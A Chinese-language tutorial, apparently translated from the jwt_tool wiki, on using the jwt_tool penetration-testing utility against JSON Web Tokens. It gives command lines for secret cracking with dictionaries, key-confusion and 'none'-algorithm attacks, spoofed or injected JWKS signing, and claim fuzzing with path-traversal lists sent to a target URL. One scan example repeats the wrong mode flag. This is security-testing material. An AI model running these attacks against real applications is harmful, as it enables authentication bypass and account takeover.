使用jwt_tool

使用jwt_tool

安装:

jwt_tool使用原生Python 3库编写。依赖项用于HTTP传输、颜色和视觉效果,以及加密过程,如签名和验证RSA/ECDSA/PSS令牌、生成和重构公钥/私钥,以及其他一些实用任务。

要获取jwt_tool的副本,只需在终端中使用git clone:

$ git clone https://github.com/ticarpi/jwt_tool

从pip安装依赖项:

$ python3 -m pip install termcolor cprint pycryptodomex requests

基本用法:

运行jwt_tool并查看使用信息:

$ python3 jwt_tool.py -h

处理令牌并读取解码的声明和值:

$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po

使用公钥验证令牌:

$ python3 jwt_tool.py JWT_HERE -V -pk my_public.pem

$ python3 jwt_tool.py JWT_HERE -V -jw my_public_jwks.json

开始交互式修改头部和负载声明:

$ python3 jwt_tool.py JWT_HERE -T

向应用程序发送令牌

现在所有模式都允许直接将令牌发送到应用程序。

你需要指定:

  • 目标URL (-t)
  • 应用程序需要的请求头 (-rh) 或请求cookie (-rc)(至少一个必须包含令牌
  • (可选)任何POST数据(如果请求是POST)
  • (可选)任何额外的jwt_tool选项,如模式或修改/注入选项
  • (可选)金丝雀值 (-cv) - 你期望在成功使用令牌时看到的文本值(例如"Welcome, ticarpi")

一个示例请求可能如下所示(使用扫描模式进行强制错误):

$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M er

运行扫描

从包含的扫描选项中选择以运行自动JWT评估:

  • M pb = 剧本扫描
  • M er = 强制错误扫描
  • M at = 所有测试 - 运行所有扫描模式

使用提供的令牌直接针对应用程序运行剧本扫描,以寻找常见的配置错误:

$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -M pb

使用提供的令牌直接针对应用程序运行强制错误扫描,以寻找常见的配置错误:

$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -M pb

常见攻击

尝试破解/猜测密钥(HMAC算法):

$ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt

$ python3 jwt_tool.py JWT_HERE -C -p password_here

使用已知公钥对非对称密码(RS-、EC-、PS-)尝试"密钥混淆"攻击:

$ python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem

尝试使用"none"算法创建未验证的令牌:

$ python3 jwt_tool.py JWT_HERE -X a

伪造远程JWKS:使用首次运行时自动生成的RSA密钥,并在提供的URL (-ju) 处提供JWKS - 或将URL添加到你的jwtconf.ini配置文件中 - 并使用私钥签名令牌:

$ python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/my_jwks.json

将内联JWKS注入到JWT头部:使用首次运行时自动生成的RSA密钥,将公钥导出为JSON Web密钥存储对象,注入到JWT头部,并使用私钥签名令牌:

$ python3 jwt_tool.py JWT_HERE -X i

签名令牌

使用已知的密钥/密码签名令牌:

$ python3 jwt_tool.py JWT_HERE -S ec512 -pk jwttool_custom_private_EC.pem
$ python3 jwt_tool.py JWT_HERE -S hs256 -p jwt-secret-key

注入和模糊测试声明

注入(新的或现有的)头部和负载声明(-hc/-pc)- 使用匹配的头部和负载值(-hv/-pv)匹配声明和值:

$ python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2 -pc payload1 -pv testval3

通过为任何一个(最多)负载或头部值(-hv/pv)指定文本文件来模糊测试头部和负载声明的值:

$ python3 jwt_tool.py JWT_HERE -I -hc header1 -hv fuzzing_list.txt -hc header2 -hv testval2 -pc payload1 -pv testval3

查询日志文件

通过查询任何请求/令牌的唯一ID来读取请求的值和数据:

$ python3 jwt_tool.py -Q jwttool_2c9c0b6a92d982148241ea599e7c5871

综合运用

你可以将这些选项的组合链接起来,以执行复杂的交互/令牌生成。

例如,你可以指定一个令牌并模糊测试值,然后使用漏洞(如alg:none)或已知密钥进行签名:

$ python3 jwt_tool.py JWT_HERE -I -pc image_path -pv path_traversal_tests.txt -X a
$ python3 jwt_tool.py JWT_HERE -I -pc image_path -pv path_traversal_tests.txt -S es512 -pk jwttool_custom_private_EC.pem -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test"

尝试组合各种选项,看看你能使它变得多么复杂!

参考链接:https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值